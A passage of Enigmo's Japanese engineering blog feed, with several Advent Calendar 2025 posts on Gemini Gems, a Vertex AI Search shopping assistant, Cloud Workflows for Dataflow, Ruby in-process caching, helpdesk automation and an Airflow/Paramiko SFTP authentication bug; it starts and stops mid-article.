そのため、作成者が退職等でアカウント削除されると、 マイドライブ内のデータと共にGemsも消失してしまいます。 これを回避するために共有ドライブへの集約を試みましたが、 共有ドライブ上のGemsファイルを開こうとするとエラーが発生しました(下図参照)。 現状では、誰か個人のマイドライブに配置されている必要がありそうです。 共有ドライブ上のGemsを開いた際のエラー モデル更新による挙動の変化(AIドリフト) これはLLMを利用する全般的なリスクですが、バックエンドのモデルが更新された際、 以前と同じプロンプトでも挙動が変わる可能性があります。 ChatGPTのCustom GPTsのようにモデルバージョンを固定する機能は、現状のGemsには見当たりません。 影響を最小限にするためには、前述の通り「入出力を厳密に定義」してAIの解釈の幅を狭めておくことが重要です。 また、モデル更新のアナウンスがあった際は、簡単な動作確認フローを設けるのが良いでしょう。 まとめ スプレッドシート でオンデマンドコストとコミットコストを整理して購入計画を立てていたときは2,3日かかっていたところ、 業務特化型のGemsを作成することで、正味1時間あれば整理が完了するようになり大幅に効率化することができました。 一方で、チームや組織で永続的に管理・運用していくには、 バージョン管理やオーナー権限の面でまだ工夫が必要だと感じています。 今後、 Google Workspaceの機能アップデートにより、 これらの管理機能が強化されることを期待しつつ、 まずはGit管理などの運用ルールでカバーしながら活用していきたいと思います。
こんにちは、AIテクノロ ジー グループのエンジニアの吉田です。 本記事は Enigmo Advent Calendar 2025 の 18日目の記事です。 普段は検索システム全般、 機械学習 システムのMLOps、AI関連の機能開発を担当しております。 この記事では「AIでさがす」サービスのリニューアルについて紹介します。 「AIでさがす」サービスとは 「AIでさがす」サービスは、 BUYMA のWebサイトおよびアプリで提供している、AIを活用した商品提案サービスです。 実際の機能は以下からご利用頂けます。( BUYMA アカウントでのログインが必要となります。) 「AIでさがす」サービス ユーザーが文章で質問すると、AIが質問内容を理解し、おすすめの商品を提案します。例えば「春のデートにぴったりなワンピースを教えて」といった質問に対して、AIが回答文とともに具体的な商品を紹介します。 従来のキーワード検索では見つけにくかった商品や、ユーザー自身が気づいていなかった新しい商品との出会いを提供することで、 BUYMA でのショッピング体験をより豊かにすることを目指しています。 ※商品画像はモザイク加工しております。 リニューアルの背景 旧システムは、ChatGPT API を活用した商品提案サービスでしたが、主な課題が3点ありました。 BUYMA の知識不足 ChatGPT が一般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の不明確さ ChatGPT の回答に 参照元 がない。 検索キーワード生成の精度 形態素解析 ツールの MeCab を併用していましたが、文脈や意味を理解した検索キーワード生成ができない。 また、リリースから2年が経過し、本格的にバージョンアップが必要なタイミングでもありました。 ※旧システムの詳細は こちらの記事 で紹介しております。 ちょうどチームメンバーが社内ドキュメントのAI検索システムを開発しており、この仕組みを BUYMA の多数の記事コンテンツに適用すれば、より BUYMA らしい商品提案が可能になると考えました。 そこで、今回のリニューアルでは、 BUYMA 内の記事コンテンツ群をベースに会話するエージェントを作成しました。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりました。 システム変更前後の比較 旧システムと新システムの違いは以下の通りです。 旧システムでは、ChatGPT が一般的な知識で回答を生成し、 MeCab による単純な 形態素解析 で検索キーワードを生成していました。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内記事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した検索キーワードを生成します。その結果、より BUYMA らしい商品提案が可能になりました。 それぞれの処理フローは以下の通りです。 旧システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を ChatGPT API に送信 ChatGPT が回答文とおすすめアイテムリストを生成 アイテム名を MeCab ( 形態素解析 )で解析し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 新システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を Vertex AI Search に送信 Vertex AI Search (事前に BUYMA 内記事コンテンツをインポート済み)が回答文を生成 質問文と回答文を Gemini に送信し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 アーキテクチャ ー特徴 1. Vertex AI Search Vertex AI Search を利用して、インポートした BUYMA 内記事コンテンツをベースに会話を行うエージェントを構築しました。 BUYMA 内記事コンテンツのインポート 約4000件の記事をデータストアにインポート プロンプト設計 「ファッション ECサイト BUYMA のショッピングアドバイザー」として定義し、ユーザーの質問に対して最適な商品を提案する形で回答を生成 2. Gemini Gemini を活用する事により、会話内容から商品検索キーワードを生成する機能を作成しました。 プロンプト設計 「 ECサイト の検索キーワードを生成する専門家」として定義し、会話の文脈を理解して検索キーワードを生成 MeCab との違い MeCab は単語の分解のみだが、Gemini は文脈を理解してブランド名・カテゴリ名・モデル名を組み合わせた検索キーワードを生成 実装時の課題・解決策・工夫した点 Vertex AI Search の幻覚への対応 初回質問時に Vertex AI Search が過去から質問が続いているような幻覚を見る場合がありました。当初は初回と2回目以降の会話を共通のプロンプトで行っており、「ユーザーの過去の質問履歴」の項目に入っている文言の有無から初回なのか、2回目以降の会話なのかを判断する指示を出していました。ところが、「過去」という文言に引きずられてなのか、初回なのに過去の質問をAI側が捏造して、その続きとして回答する場合が稀にありました。 プロンプトテンプレートを初回用と2回目以降用の2種類に分け、初回用のプロンプトからは「ユーザーの過去の質問履歴」の文言自体を削除する事によって対応しました。 敵対的クエリへの対応 敵対的クエリ(不適切な質問)の場合、Vertex AI Search の API からのレスポンスフォーマットが通常とは異なるものになり、要約が生成できないにもかかわらず、無理やり商品紹介を行ってしまいました。 敵対的クエリーのフォーマットを検知した場合は、要約失敗として扱い、商品紹介を行わないように修正しました。 この場合以外でも稀に異なるフォーマットのレスポンスになる場合があり、サービス継続に支障が出ないように都度改善を行いました。 Gemini のライブラリ移行 もともと使用していたライブラリがサポート終了を迎えるため、社内では実績がない新しいライブラリに移行する必要がありました。移行後、従来使用していた Gemini モデルが初期設定では使用できず、次世代のモデルを試したところレスポンスタイムが大幅に遅くなってしまいました。新しいライブラリという事もあり、AIツールではなかなか解決できず、最終的には Google サポートに問い合わせして解決に至りました。 得られた学びとノウハウ AIツールの活用と限界 「AIでさがす」のバックエンド API の リポジトリ は、ほぼ全部作り直したのですが、AIツールを活用する事によって、 工数 を節約する事ができました。Terraform 関連のリソース修正、テストケース作成やMOCK用のフロントエンド実装等においてもAIツールにより大幅な 工数 削減ができました。 一方で、Gemini のライブラリ移行など、ドキュメントの記載やインターネット上での知見が少ない領域ではAIツールでは解決できず、結果的に公式サポートへの問い合わせが必要でした。 AIの不確定な挙動への対応 Vertex AI Search の幻覚や部分的な失敗など、AIサービス特有の不確実性に対して、初回用と2回目以降用でテンプレートを分けるなど、細かな調整が重要でした。また、プロンプトだけではどうする事もできない場合があり、そのような場合は後処理でルールベースのロジックを追加する必要がありました。 効果測定 リニューアル後、以下のような指標が上昇しました。 1スレッドあたりの質問数の平均 会話の継続性が向上し、ユーザーが複数回質問を続けるようになりました。 1ユーザー1日あたりの質問数 利用頻度が向上し、ユーザーがより積極的に機能を活用するようになりました。 検索URLに遷移された回数 商品検索への誘導効果が向上し、実際の商品閲覧につながるケースが増加しました。 これらの結果から、 BUYMA 内記事コンテンツを根拠とした回答の提供と、文脈を理解した検索キーワード生成により、ユーザーの満足度と利用価値が向上したと考えられます。 直近の対応/今後の展開・課題 金額絞り込み機能の追加(今月対応) ユーザーからの要望が多い金額絞り込み機能の対応をしました。価格帯に関する質問に対して適切な商品提案ができていない課題があったため、Gemini で検索 API 用の金額フィルタークエリを生成することで対応しました。 コンテンツの拡充 現在は BUYMA 内記事コンテンツのみを Vertex AI Search にインポートしていますが、今後は YouTube での発信内容も追加する予定です。記事以外のコンテンツも活用することで、より幅広い情報をユーザーに提供できるようになります。 継続的なメンテナンス AIのライブラリやモデルは随時更新されていくため、継続的なメンテナンスが課題となります。特に Gemini や Vertex AI Search などのサービスは進化が早く、新しいモデルへの対応や非推奨ライブラリ/バージョンから移行など、定期的な見直しが必要です。 まとめ 本記事では、「AIでさがす」サービスのリニューアルについて紹介しました。 旧システムでは ChatGPT と MeCab を使用していましたが、 BUYMA 特有の知識不足や根拠の不明確さなどの課題がありました。リニューアルでは Vertex AI Search と Gemini を採用し、 BUYMA 内記事コンテンツを根拠とした回答生成と文脈を理解した検索キーワード生成を実現しました。 実装時には敵対的クエリへの対応やAIサービス特有の不確実性への対処など様々な課題に直面しましたが、ロジックでの細かい制御やAIツールの活用により解決できました。リニューアル後は会話継続性や利用頻度、商品検索への誘導効果が明らかに向上しています。 明日の記事は同じAIテクノロ ジー グループの髙橋さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは、AIテクノロ ジー グループの太田です。 普段は商品のカタログデータ基盤を開発・運用するチームで業務に携わっております。 エニグモ ではそういったデータやAI関連の技術基盤として GCP を利用しており、そこで利用したWorkflowsについて紹介したいと思います。 この記事は Enigmo Advent Calendar 2025 の17日目の記事です。 1. はじめに:なぜこの構成に至ったか 2. Goolge Cloud 構成:全体アーキテクチャ概要 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか 4. 実装サンプル:Workflows から Dataflow を起動する 5. Workflows を採用する上で許容した「不便な点」 6. まとめ 1. はじめに:なぜこの構成に至ったか 背景 毎日追加・更新される商品データを Vector Search のインデックスに反映させる必要があった。 Cloud Composer (Airflow) の利用実績はあったものの、より安価な Workflows に興味があった。 課題 「差分抽出 → 画像処理(Embedding) → インデックス更新」という一連のフローを毎日決まった時間に実行したい。 各処理ステップ(特に画像処理とインデックス更新)は時間がかかるため、 タイムアウト やリトライ制御を考慮する必要がある。 当然コストは抑えたい。 結論 Cloud Composer を使わず、Workflows + Cloud Scheduler を採用することで、管理コストと金銭的コストを最小限に抑えた アーキテクチャ を構築した。 ポイントは、重たい処理(画像処理・インデックス更新)は Dataflow に任せ、Workflows はあくまで「順序制御」に徹する構成にしたことです。 2. Goolge Cloud 構成:全体 アーキテクチャ 概要 処理の流れは次のとおりです。 Cloud Scheduler 毎日定時に Workflows をトリガー。 Workflows: 全体の指揮者。以下のステップを順次実行。 BigQuery: 前日データとの差分を SQL で抽出。 Workflows: 画像の Embedding 計算とGCSへの保存を実行する Dataflow を実行する。 Workflows: Vector Search のインデックス更新を実行する Dataflow を実行する。 ポイントは、長時間実行かつ単発で実行する機会がある Dataflow の実行を別の Workflows に委ね、メインの Workflows から別の Workflows を呼び出すようにしたことです。 Dataflowの実装については、本記事の趣旨から外れるので省略いたします。 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか このセクションで、他の選択肢と比較し、なぜ今回の構成に至ったかを解説します。 比較項目 Workflows Cloud Composer 特性 サーバーレスで軽量、直線的なフローに最適 複雑な依存関係に強いが、常時稼働が必要 コスト 安価(実行回数課金) 1000ステップ0.01ドル 1 Google Cloud 外へのアクセスを要する場合は1000ステップ0.025ドル 高い(小規模でも月額数万円〜) 2 実際に月額約8万円かかっています 採用/不採用の決め手 今回の処理が「直線的」であり、複雑なDAGが不要だったため 日次バッチ一つに対してはオーバースペック 運用実績があったからといって、「とりあえず Airflow」とせずに、ワークフローの複雑さに応じてツールを選定できた点が良かったです。 実際に使ってみて、単純な A -> B -> C というフローなら Workflows の方が圧倒的に運用・コストメリットが大きいことが実感できました。 4. 実装サンプル:Workflows から Dataflow を起動する ここでは、実際に Workflows を使って Dataflow ( Flex Template) を起動するための定義( YAML )を紹介します。 【コード解説のポイント】 Dataflow の Flex Template を利用することで、Docker イメージ化したジョブをパラメータ付きで呼び出せます。 Workflows 側でジョブの完了を待機する(ポーリングする)ようにしました。 googleapi 3 で Dataflow 以外の各種 Google Cloud のプロダクトへアクセスすることができるので、参照してみてください。 【サンプルコード( YAML )】 実際に作成した Dataflow を起動する Workflows の定義ファイル(main. yaml )の一部を掲載します。 main. yaml の抜粋イメージ steps : - init : assign : - project_id : ${sys.get_env("GOOGLE_CLOUD_PROJECT_ID")} - location : "asia-northeast1" - job_name : "dataflow-launcher" # デプロイするときに --set-env-vars で設定した環境変数をここで読み込む - sdk_container_image : ${sys.get_env("sdk_container_image")} - gcs_bucket : ${sys.get_env("gcs_bucket")} # YYYYMMDD 形式の日付 - ymd : ${text.replace_all(text.split(time.format(sys.now()), "T" )[ 0 ], "-" , "" )} # 画像処理をするので時間がかかる Dataflow を実行するステップ - dataflow_start_crop_embedding : call : googleapis.dataflow.v1b3.projects.locations.flexTemplates.launch args : projectId : ${project_id} location : ${location} body : launchParameter : jobName : ${job_name + ymd} containerSpecGcsPath : ${gcs_bucket + "/templates/your-template-spec.json" } parameters : sdk_container_image : ${sdk_container_image} environment : stagingLocation : ${gcs_bucket + "/templates/staging" } tempLocation : ${gcs_bucket + "/templates/temp" } serviceAccountEmail : ${Dataflow 実行権限を持つ Service Account} result : dataflow_result next : initialize_polling # 以下、Dataflow を完了まで監視するステップ # ループした回数だけステップ数が増えてコストも増えていくのでループ数には注意してください。 - initialize_polling : assign : - counter : 0 # "max_retries * 60秒 (wait_60_secondsで定義) = 1時間"なので、最大1時間ポーリングを行う。 - max_retries : 60 next : poll_job_status - poll_job_status : call : googleapis.dataflow.v1b3.projects.locations.jobs.get args : projectId : ${project_id} location : ${location} # run_dataflow_job ステップの return から参照できる。 jobId : ${dataflow_result.job.id} result : job_status next : check_job_status - check_job_status : switch : - condition : ${job_status.currentState == "JOB_STATE_DONE" } next : job_succeeded - condition : ${job_status.currentState == "JOB_STATE_FAILED" or job_status.currentState == "JOB_STATE_CANCELLED" } raise : ${"Dataflowジョブ " + dataflow_result.job.id + " が失敗しました。ステータス " + job_status.currentState} - condition: ${counter >= max_retries} raise: ${" Dataflowジョブ " + dataflow_result.job.id + " が1時間以内に完了しませんでした。タイムアウト。"} - condition : ${ true } next : increment_counter - increment_counter : assign : - counter : ${counter + 1 } next : wait_60_seconds - wait_60_seconds : call : sys.sleep args : seconds : 60 next : poll_job_status - job_succeeded : return : "SUCCESS" 【サンプルコードをデプロイ】 作成した Workflows の定義ファイルをデプロイ 4 します。 gcloud workflows deploy sample_workflow \ --source=main.yaml \ --location="asia-northeast1" \ --project=${PROJECT_ID} \ --service-account=${SERVICE_ACCOUNT_EMAIL} \ --set-env-vars sdk_container_image=${Artifact Registry にpushしたdockerイメージ} \ --set-env-vars gcs_bucket="gs://YOUR_BUCKET" \ 【サンプルコードを実行した結果】 ループしているので実際に実行されたステップ数は137でした。 コストは 137 * 0.01 / 1000 = 0.00137 ドルになります。 5. Workflows を採用する上で許容した「不便な点」 コストと手軽さは魅力的ですが、導入に際しては以下のデメリットも考慮する必要がありました。 開発体験のクセ( YAML 地獄) 課題 Python で記述できる Airflow と異なり、Workflows は YAML (または JSON ) でロジックを記述する必要があります。条件分岐やループ処理、変数の扱いが直感的ではなく、構文エラーに悩まされることが多いです(一般的に " YAML engineering" と揶揄される部分)。 対応 今回は「直列的なフロー」に留めることで複雑な記述を回避しました。複雑なロジックが必要な場合は、無理に Workflows 内に書かず、Cloud Functions や Dataflow に逃がす設計が重要です。 ローカルテスト・ デバッグ の難易度 課題 Cloud Composer (Airflow) はローカル環境を構築可能なので DAG のテストが可能ですが、Workflows は クラウド 上のリソースと密結合しているため、ローカルでの完全な再現・テストが困難です。「修正してデプロイして実行」のサイクルになりがちです。 対応 ステップごとの 単体テスト は諦め、 結合テスト 中心で進める割り切りが必要でした。 また、別の Workflows に分割することで、ステップごとに運用できるように対応しました。 ステップ間のデータ受け渡し制限(メモリサイズ) 課題 Workflows は大規模なデータをステップ間で直接受け渡すこと( ペイロード サイズ制限)には向いていません。 対応 今回の設計では、画像データそのものや大量のリストは Workflows 上を通過させず、必ず GCS のパスや BigQuery のテーブル名といった「参照情報」のみを受け渡すように徹底しました。 ベンダーロックイン 課題 Airflow は OSS 標準ですが、Workflows は Google Cloud 固有のサービスです。将来的に他の クラウド へ移行する場合、ポータビリティがありません。 対応 今回は GCP 完結のシステムであり、フルマネージドの恩恵(管理レス)を最優先しました。 6. まとめ Workflows + Cloud Scheduler の組み合わせにより、日次の Vector Search インデックス更新を完全自動化できました。 コスト面以外では、インフラ管理コスト(Cloud Composer の環境維持など)を削減し、本質的なロジック開発に集中できることが Workflows の大きなメリットに感じました。 デメリットで YAML 記法に言及しましたが、逆に言えば、どなたでも気軽に試してみることができるとも言えます。コストも軽いのでこれを機に是非一度お試しください。 読者の皆様がこれで良い体験を得ることができましたら私としても大変嬉しく思います。 明日18日目はAIテクノロ ジー グループの吉田さんです。 https://cloud.google.com/workflows/pricing?hl=ja#price-tables ↩ https://cloud.google.com/composer/pricing?hl=ja#cloud-composer-pricing ↩ https://docs.cloud.google.com/workflows/docs/reference/googleapis ↩ https://docs.cloud.google.com/sdk/gcloud/reference/workflows ↩
WEBアプリケーションエンジニア の小松です! プロセス内キャッシュの挙動に馴染みがなかったので、どういう挙動なのか。 ネットワーク越しのキャッシュとの使い分け。 他言語との比較で Rails 特有の仕様なのかどうか。 という疑問が湧いたので調査し、それを記事にしました。 この記事は[ Enigmo Advent Calendar 2025 ]の16日目の記事です。   ローカルキャッシュとは何か 今回直面した疑問と調査内容 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い 実際に採用したコード Rails 特有の挙動 Rails サーバーが複数台ある場合の挙動 キャッシュとしての位置づけの違い この仕組みは Ruby 特有なのか Java Go PHP Node.js まとめ   ローカルキャッシュとは何か ローカルキャッシュとは、 Ruby プロセス内のメモリに値を保持し、同じプロセス内であれば何度呼び出されても再計算や再読み込みを行わない仕組みのことを指す。 Ruby では次の構文がある。 @config ||= YAML.load_file("config/settings.yml") この構文は最初の一回だけ YAML.load_file が実行され、以降はメモリに保持された @config が返される。 Rails プロセスが動いている限り、この値は保持され続ける。 今回直面した疑問と調査内容 実際に自分が直面した疑問は次のようなものだった。 Rails サーバーが複数ある場合、各プロセスごとにキャッシュされるということは、そもそも「キャッシュ」と言えるのか Memcached や Redis など外部キャッシュと比べて本当に速いのか 毎回 インスタンス 変数に保存するだけで高速化されるように見えるが、仕組みとして本当に正しいのか そもそもこれは Rails の仕様なのか、 Ruby の仕様なのか 他言語ではどう実現しているのか これらを順番に整理していった。 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い Rails .cache( Memcached /Redis)のキャッシュも高速だが、必ずネットワーク越しの通信が発生する。 クラウド 環境であれば数百マイクロ秒〜数ミリ秒のオーバーヘッドが加わる。 一方、プロセス内キャッシュは Ruby プロセスが持つメモリに直接アクセスするだけで、ネットワークもディスクも介さない。 最短経路でデータにアクセスできるという点では最速になる。 ただし、これは「ローカルに存在する静的データ」に限った話である。 更新頻度が高いデータには適さない。 実際に採用したコード 今回検討していたコードは次のような YAML 読み込み処理だった。 def contents(condition) yaml = YAML.load_file('config/item_cate_desc.yml') # 以下ロジック... end これでは毎回ファイルを読み込み、ディスク IO が発生するため遅い。 そこで、次のように改善した。 def item_cate_yaml @item_cate_yaml ||= YAML.load_file('config/item_cate_desc.yml') end この1行によって、「最初の一回だけ読み込む」処理に変わる。 後はメモリに保持され続けるため、各リクエストで読み込む必要がない。   Rails 特有の挙動 Rails のコントローラで インスタンス 変数を使っても、それはリクエストごとに新しく生成されるオブジェクトに所属するため、キャッシュとしては機能しない。 キャッシュとして効くのは、プロセスが生きている限り保持され続ける「クラス インスタンス 変数」や「クラス変数」の方である。 PHP のようにリクエスト終了時にプロセスが破棄される言語とは異なり、 Ruby (特に Rails のアプリサーバー)はプロセス常駐型のため、同じクラス インスタンス 変数へ複数リクエストがアクセスする構造になっている。 この違いが理解しづらく、PHPer には馴染みがなく疑ってすらいたので、 railsアプリではクラスインスタンス変数の注意する #Ruby - Qiita などの記事を参考にしてファクトチェックもしました。   Rails サーバーが複数台ある場合の挙動 ここについても疑問を持ったが、調べた結論は次のとおり。 各 Rails プロセス内で一度だけ読み込まれ、それぞれが独立してデータを保持する よってプロセスを跨いだ共有キャッシュではない ただし配置ファイル( YAML )が全サーバーで共通であれば問題はない プロセス間の同期は不要で、むしろ高速 「複数サーバーだからキャッシュが効かない」という誤解があるが、ローカルキャッシュは各プロセス単位で成立するため問題ない。 キャッシュとしての位置づけの違い データの性質に応じてどのキャッシュを選ぶべきか整理すると次のようになる。 種類 特徴 向いているケース プロセス内キャッシュ 最高速。プロセスごと独立。データ変更には弱い 設定ファイル、マスターデータ Rails .cache( Memcached /Redis) 共有キャッシュ。通信が必要 変更頻度がありサーバー間で共 通化 したいデータ DB キャッシュ 一貫性は高いが IO コストあり モデルデータ 今回のような静的な YAML データであれば、間違いなくプロセス内キャッシュが適している。 この仕組みは Ruby 特有なのか Ruby の ||= を使ったプロセス内キャッシュは極めて自然で扱いやすい。 もちろん他の言語でも似たことはできるが、次のように比較すると Ruby の簡潔さが際立つ。 Java static 変数+ダブルチェックロックなど同期処理が必要で、明らかにコードが冗長。 Go sync.Once を使う必要がある。 パッケージスコープの変数は設計上の制約も多い。 PHP そもそも 1 リクエスト 1 プロセスのため、プロセス内キャッシュという概念が成立しない。 APCu など外部拡張に頼る必要がある。 Node.js モジュールキャッシュにより Ruby に近い感覚で扱えるが、副作用の管理が必要で Ruby の手軽さとはやや異なる。 Ruby はプロセス常駐型で、かつクラス インスタンス 変数が自然にキャッシュとして機能するため、他の言語と比較して特に扱いやすい。   まとめ 今回の検討で分かったのは、次のような点である。 Ruby の @var ||= ... によるローカルキャッシュは、非常に手軽に使える最速のキャッシュ方式 複数サーバーでも問題なく、各プロセスが独立してキャッシュを保持する Memcached や Redis より速いのは、ネットワーク通信が一切ないため データの性質に応じてキャッシュ方式は使い分けるべき 他言語でも実現は可能だが、 Ruby ほど自然で簡潔な形にはならない 静的な設定データを高速化したい場面では、最初に検討すべき手法と言える。   明日17日目はAIテクノロ ジー グループの太田さんです。  
こんにちは、コーポレートエンジニア(コーポレートITチーム)の藤田です。 この記事は Enigmo Advent Calendar 2025 の15日目の記事です。 コーポレートIT(以下CO-IT)の業務において、地味ながらも非常に重要な「ヘルプデスク業務」についてお伝えします。 「どのようなツールを使って、どのようなフローで対応し、どうやってナレッジを残しているのか」 普段あまり表に出ることのない、運用の裏側をご紹介しようと思います。 自己紹介 なぜこの記事を書くのか エニグモのヘルプデスク構成要素 ヘルプデスク対応のフロー 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 出口の設計:「個人の記憶」ではなく「組織の記録」へ 改善の設計:対応して終わりではなく「減らす」までが業務 今後の展望 おわりに 自己紹介 本題の前に少し自己紹介をさせていただきます。 私は今年3月に エニグモ に入社いたしました。 エニグモ へ入社する前は、鉄骨製作会社の 情報システム部門 で働いており、いわゆる「一人情シス」として働いていました。それ以前は システムエンジニア として開発業務に携わっていた経験があります。 なぜこの記事を書くのか 過去のAdvent Calendarでは、入社エントリーやチームビルディングに関する記事はありましたが、具体的な「CO-ITの業務内容」にフォーカスした記事はありませんでした。 そこで今回は、社内外の方に「 エニグモ のCO-ITって具体的にどんな業務をしているの?」を知っていただくため、主業務の一つであるヘルプデスクについて深掘りしてみたいと思います。 (他のCO-ITメンバーが作成した記事もぜひ目を通してみてください!) 過去の入社エントリー記事: 元SEがコーポレートエンジニアに転職してみた - エニグモ開発者ブログ チームビルディングに関する記事: enigmo(BUYMA運営企業)のコーポレートIT(社内SE・情シス)運営方法と将来像 - エニグモ開発者ブログ エニグモ のヘルプデスク構成要素 まず、問い合わせ対応に使用しているツールを紹介します。  Slackワークフロー : 問い合わせ受付からナレッジ化までのデータ入力インターフェース。 Google スプレッドシート : ログの集約・一時保管・ID管理 Zapier : ツール間の連携・自動化 Asana : タスク・ 進捗管理 ヘルプデスク対応のフロー 実際の問い合わせから完了までの流れは、以下のように自動化されています。 極力、人の手による「転記作業」をなくすように設計しています。 【User】 問い合わせ入力   ユーザーがSlackワークフローから問い合わせ内容を入力します。 【System】 自動起票・通知   問い合わせ内容が自動的に Google スプレッドシート へ転記されます。   同時にCO-ITの「問い合わせ対応チャンネル」に通知が飛びます。 【CO-IT】 担当者 アサイ ン   通知に対し、CO-ITメンバーが「担当します」ボタンをクリック。   Asanaのタスクに担当者名が自動入力されます。 【CO-IT】 対応・解決   実際の調査・対応を行います。 【System】 クロージング・ナレッジ化   対応完了後、Slackワークフローに対応内容を入力。   Asanaが「完了」ステータスに更新され、対応内容が記録されます。   最後に「問い合わせナレッジチャンネル」へ内容が自動投稿されます。 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 問い合わせの入り口は、内容の性質に合わせて「オープン」と「プライベート」の2つのワークフローを用意しています。 オープン問い合わせ  用途:PCトラブルや仕様確認など、他のユーザーと共有しても有益な内容。 プライベート問い合わせ  用途:人事関与など、秘匿性の高い内容。 これにより、ユーザーは適切な窓口を選択することで、セキュリティと利便性を両立させています。 出口の設計:「個人の記憶」ではなく「組織の記録」へ ヘルプデスク業務において最も避けたい事態は、「 過去に同様の問い合わせがあったはずなのに、どう解決したか分からない 」という状況です。特に、退職したメンバーしか詳細を知らない案件などが ブラックボックス 化してしまうと、組織としての対応力は大きく低下してしまいます。それを解決するために、以下の2点の取り組みを行なっています。 あらゆる対応をナレッジ化する 突発的な相談や、日々のコミュニケーションの中で偶発的に発生した問い合わせに関しても、漏れなく記録・管理できる仕組みを整えています。「入り口」は柔軟に受け入れつつも、最終的にナレッジとして蓄積することで、情報の散逸を防いでいます。 自動的な情報の共有と蓄積 対応フローの最後に「問い合わせナレッジチャンネルへの自動投稿」を組み込んでいます。これにより、対応した担当者が不在でも、Slack上でキーワード検索をするだけで過去の類似事例や経緯を即座に引き出すことが可能になります。 「誰か一人が知っている」ではなく「組織全員がいつでも引き出せる」状態を作ること。これが エニグモ のヘルプデスクです。 改善の設計:対応して終わりではなく「減らす」までが業務 ただ問い合わせを捌くだけでは、業務は改善しません。 私たちは月に一度、チーム内で「問い合わせに関する会議」を実施しています。 ここでは、その月の問い合わせ件数の推移を確認するだけでなく、頻発した問い合わせ内容について深掘りを行います。「なぜその問い合わせが発生したのか」「根本解決のためにどのような対策が必要か」「今後は対応方針をどう変えるべきか」を議論し、再発防止や業務フローの改善につなげています。 今後の展望 次なるステップとして「AI活用」を見据えています。 具体的には、これまでに蓄積されたナレッジデータを学習データとして活用し、生成AIによる「一次回答の自動化」や、担当者への「類似回答のレコメンド」機能の実装などに挑戦していきたいと考えています。 問い合わせ対応のスピードと質をさらに向上させ、ユーザーにとっても解決までの時間を短縮できるような環境を目指します。 おわりに ヘルプデスク業務は、一般的に「雑用」や「誰でもできる仕事」と捉えられがちかもしれません。 しかし、 エニグモ ではこの業務に非常に力を入れています。なぜなら、私たちは「来た問い合わせをただ捌くこと」がゴールだとは考えていないからです。 問い合わせの内容を分析し、「 どのように問い合わせそのものを減らせるか 」「 ユーザーがストレスなく業務を行える環境を作れるか 」を追求し続けること。これこそが、 エニグモ におけるヘルプデスク業務のあり方だと考えています。 明日の記事の担当は アプリケーション開発グループ の 小松さんです。お楽しみに。
こんにちは!WEBアプリケーションエンジニアの小松です! 今まで主に EC サイトの WEB エンジニアとして仕事をしてきて、Airflow を触るようになったのは エニグモ に入社してからでした。 BUYMA では、広告媒体向けのフィード生成や外部パートナーとのデータ連携、在庫データの収集など、毎日大量に発生する バッチ処理 を Airflow に任せています。 人手では絶対に回せない規模なので、Airflow は影の立役者のような存在です。 そんな Airflow を動かしている基盤が Google Cloud Composer なのですが、 会社全体でオンプレサーバーから クラウド へ移行していく流れ の中で、Composer も新しいバージョンへ移し替えることになりました。 「まあ普通に移行できるだろう」と思っていたら、まさかの沼にハマってしまい…… 同じ罠に落ちる人が一人でも減りますように、という気持ちでこの記事を書いています。 この記事は[ Enigmo Advent Calendar 2025 ]の13日目の記事です。   結論(先に言います) 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー ② コマンド実行では成功する ③ Python(paramiko)でも成功する ④ 「Airflow からだけ接続できない」という地獄に突入 ⑤ 試行錯誤の果てに見えてきた「署名アルゴリズム問題」 ⑥ Airflow(Paramiko)は署名アルゴリズムを指定できない ⑦ Composer の paramiko を確認すると…古い! ⑧ Composer をアップグレード → 一発成功 技術的まとめ:今回の本質 回避策(原理上) 最後に:今回の教訓 結論(先に言います) Airflow の GCSToSFTPOperator が突然 SFTP 認証できなくなった原因は… Composer が入れている Paramiko のバージョンが古く、 RSA 署名 アルゴリズム がサーバーに拒否されたから。 つまり、 コマンドからは接続できる Python の Paramiko スクリプト でも接続できる でも Airflow からだけ認証エラーになる という、最悪に分かりづらい症状が発生していました。 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー Airflow 2 → Composer の新環境に移行した際、 GCSToSFTPOperator だけが謎の認証失敗。 ログにはこれだけ:   Bad authentication type; allowed types: [ 'publickey' ] 鍵は設定済みのはずなのに、Airflow だけ失敗。謎が深まる。 ② コマンド実行では成功する Docker コンテナに入り、   sftp - i pri .key sftp .host .com → 成功。 設定ミスではないと確信。 ③ Python (paramiko)でも成功する 「Airflow がダメなら paramiko 生で試すか」と思いテストコードを書くと… → 普通に成功。 つまり、Airflow 経由でのみ認証が弾かれている。 ④ 「Airflow からだけ接続できない」という地獄に突入 Airflow → SFTPHook → SSHHook → Paramiko このどこかが悪いのは確実だが、Extra の書式を変えても、パラメータを変えても改善しない。 Airflow のログは詳細な理由を出してくれない。 完全に暗闇の中を歩く状態。 ⑤ 試行錯誤の果てに見えてきた「署名 アルゴリズム 問題」 Docker の sftp でのみ発生していたエラー:   sign_and_send_pubkey: no mutual signature supported ここでようやく糸口が見えた。 サーバー: rsa -sha2-256/512 を要求 古い Paramiko: ssh - rsa ( SHA1 )署名を使ってしまう → サーバーが拒否 という構図。 ⑥ Airflow(Paramiko)は署名 アルゴリズム を指定できない OpenSSH のように   -PubkeyAcceptedAlgorithms =ssh-rsa といった強制は Paramiko では不可能。 つまり: Airflow から署名 アルゴリズム 